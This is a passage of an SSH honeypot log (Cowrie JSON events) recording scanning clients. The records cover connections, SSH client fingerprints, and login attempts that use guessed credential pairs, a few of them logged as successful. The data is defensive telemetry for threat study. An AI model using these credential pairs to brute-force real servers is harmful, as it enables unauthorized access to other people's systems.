\\x88\\xbb\\\\\\x92\\xf8g\\xfb\\x95us\\x16-7\\x1b[\\xf5\\x87\\xdd\\xbd\\'\\xdf\\xef\\xb2\\x82\\x98\\x8d\\xfb\\xcf>\\xd3,\\xa9\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xde\\xa9J\\x92eX\\xa3\\xff yX\\xd9\\xfcP\\x92\\x05\\xaa\\x98\\x00\\x8e\\xa6Sm\\xee\\xee\\xcc\\xbf*\\x8an\\xea3\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.625499Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:40.103740Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"changeme123","message":"login attempt [ubuntu/changeme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:41.471647Z","src_ip":"91.92.40.36","session":"90f2413ebf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57682,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e0fc514a665","protocol":"ssh","message":"New connection: 91.92.40.36:57682 (159.203.135.109:22) [session: 6e0fc514a665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:41.894360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:42.476714Z","src_ip":"91.92.40.36","session":"6e0fc514a665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:42.481179Z","src_ip":"91.92.40.36","session":"6e0fc514a665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:43.763930Z","src_ip":"91.92.40.36","session":"90f2413ebf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"54321","message":"login attempt [elasticsearch/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:44.066598Z","src_ip":"91.92.40.36","session":"6e0fc514a665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:45.607740Z","src_ip":"91.92.40.36","session":"6e0fc514a665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":44018,"dst_ip":"159.203.135.109","dst_port":22,"session":"568a2544b69a","protocol":"ssh","message":"New connection: 201.17.146.173:44018 (159.203.135.109:22) [session: 568a2544b69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:46.542729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:46.555684Z","src_ip":"201.17.146.173","session":"568a2544b69a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:46.694148Z","src_ip":"201.17.146.173","session":"568a2544b69a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky123","message":"login attempt [rocky/rocky123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:47.280930Z","src_ip":"201.17.146.173","session":"568a2544b69a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":60397,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ee03c0cb101","protocol":"ssh","message":"New connection: 63.141.242.2:60397 (10.17.0.5:22) [session: 9ee03c0cb101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:47.934218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:47.942219Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:47.999543Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:48.419825Z","src_ip":"201.17.146.173","session":"568a2544b69a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20530,"dst_ip":"159.203.135.109","dst_port":22,"session":"37383e2fe35c","protocol":"ssh","message":"New connection: 91.92.40.36:20530 (159.203.135.109:22) [session: 37383e2fe35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:48.740281Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:48.968683Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:49.288314Z","src_ip":"91.92.40.36","session":"37383e2fe35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:49.293071Z","src_ip":"91.92.40.36","session":"37383e2fe35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es1","message":"login attempt [es/es1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:52.031384Z","src_ip":"91.92.40.36","session":"37383e2fe35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:53.836848Z","src_ip":"91.92.40.36","session":"37383e2fe35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20638,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd825033019e","protocol":"ssh","message":"New connection: 91.92.40.36:20638 (159.203.135.109:22) [session: bd825033019e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:55.587893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:56.402460Z","src_ip":"91.92.40.36","session":"bd825033019e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:56.405983Z","src_ip":"91.92.40.36","session":"bd825033019e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":53849,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7185eb35657","protocol":"ssh","message":"New connection: 23.175.50.51:53849 (10.17.0.5:22) [session: c7185eb35657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:56.981171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:56.985655Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:57.570126Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34540,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c89fb51133","protocol":"ssh","message":"New connection: 27.71.230.31:34540 (159.203.135.109:22) [session: f5c89fb51133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:58.534980Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:58.789377Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:59.422164Z","src_ip":"27.71.230.31","session":"f5c89fb51133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:59.426819Z","src_ip":"27.71.230.31","session":"f5c89fb51133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"qwerty","message":"login attempt [dspace/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:00.259068Z","src_ip":"91.92.40.36","session":"bd825033019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:02.584137Z","src_ip":"91.92.40.36","session":"bd825033019e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@Pass","message":"login attempt [root/admin@Pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:03.759219Z","src_ip":"27.71.230.31","session":"f5c89fb51133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56332,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db36aa3cb1c","protocol":"ssh","message":"New connection: 91.92.40.36:56332 (159.203.135.109:22) [session: 3db36aa3cb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:05.115733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:05.927336Z","src_ip":"91.92.40.36","session":"3db36aa3cb1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:06.431903Z","src_ip":"27.71.230.31","session":"f5c89fb51133","protocol":"ssh"}
